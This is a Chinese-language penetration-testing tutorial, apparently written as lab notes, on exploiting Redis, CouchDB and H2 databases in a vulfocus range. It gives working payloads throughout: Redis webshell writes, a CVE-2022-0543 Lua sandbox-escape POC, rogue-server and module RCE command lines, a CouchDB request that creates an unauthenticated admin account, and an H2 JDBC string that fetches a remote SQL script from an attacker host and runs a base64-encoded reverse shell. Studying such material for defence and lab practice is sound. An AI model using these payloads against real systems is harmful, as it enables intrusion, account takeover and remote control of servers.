环境部署
我使用的是vulfocus的靶场
f9i2
docker机密码是123
我直接使用的docker机 可以直接下载然后执行下边的命令进行一键部署
docker run -p 666:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 dockerproxy.net/vulfocus/vulfocus:latest
Redis数据库的利用
redis数据库这个东西就像在互联网上裸奔(他的登录是不需要账号密码的 可以直接未授权登录到数据库内部)
Redis数据库的特征
1、数据库的端口 :6379
使用专属的连接工具进行连接
连接数据库成功 但是这个ip是个蜜罐
有人可能会问 为什么访问不了啊 他这个是数据库没有http服务
CNVD-2015-07557
成因就是redis未开启身份认证
第一种利用方法:需要使用到webshell的写入
各个主流数据库的最高权限
这个有条件就是 对方的web目录开起了读写权限并且它不是个docekr容器 我们还需要知道他的web目录
靶场打不开是正常的
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
现在我们找一下写入的 1.php
发现没有啊 什么情况? 因为我们靶场是docker搭建的 还有个问题就是 redis其实是不太适合在win 上搭建的所以很常见的就是在linux上搭建的
对方是docker容器的话就会导致我们的木马无法运行影响到对方的宿主机(docekr容器锁权限 阻止我们的渗透)
这个CVE比较老了 可以直接使用项目进行梭哈
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
这个需要先使用linux进行make编译一下编译
然后直接运行一下(要运行2次 第一次是检测会报错 第二次会成功)
我们可以看到当前用户不是最高用户(这个就涉及到数据库用户的提权)
CVE-2022-0543
命令执行 : 执行POC
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
可以执行命令
简单的反弹一个shell
执行whoami发现是root用户 上面的获取是普通的用户 说明管理员给与的权限并不是最高的 但是可以碰碰运气
CNVD-2019-21763
可能有人问cnvd和cve有什么区别(cnvd是中国的漏洞 cve是世界的)
先进入RedisModulesSDK/exp 进行make
python redis-master.py -r 192.168.248.132 -p 56422 -L 192.168.248.135 -P 8888 -f RedisModulesSDK/exp.so -c "id"
Couchdb数据库利用
特征:默认端口:5984
除了这些他的一个首要特征就是可以在网页中进行数据库的管理当然也可以使用url进行数据库的相关操作(就这个可能会导致安全问题)
【couchDB】超轻量、高可用、可扩展、restful数据库couchDB_哔哩哔哩_bilibili
在网页输入 /_utils 运气好可能进入到数据库后台
还有一个特征就是这个数据库储存的是json数据
Couchdb没授权漏洞
探针 :访问就是 /_utils 如果让你登录就是进入后台了
当然这里利用的是未授权去重置他的账号密码
修改数据包新建一个用户
复现的时候只需要改 host ua 信息即可
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 192.168.248.132:42753
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "xiaodi",
"roles": ["_admin"],
"roles": [],
"password": "xiaodi"
}
使用xiaodi xiaodi进行登录
Couchdb命令执行
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
修改一个目标web和反弹到的地址
如果失败就是重新生成一个反弹shell写到 command 上
H2Ddatabase
特征:默认端口:20051
还有个个特征就是h2db是springboot自带的数据库 需要使用springboot的yml 配置文件进行配置
后台的管理页面 /h2-console
h2db未授权访问
就是因为这个内存地址
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
未授权还是比较少见
Rce命令执行
原理 : 创建一个sql文件 里面放上数据和我们准备的反弹shell 然后放到其他web目录下 然后让修改jdbc内存地址 实现反弹
-创建数据库文件:h2database.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
然后我们使用python启用一个终端
python3 -m http.server 666 (终端)
构造paylaod 让 其去访问jdbc内存
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.248.135/h2database.sql';\
攻击机监听
当我们点击测试连接的时候服务器日志就会出现 访问的记录
这个还是个root用户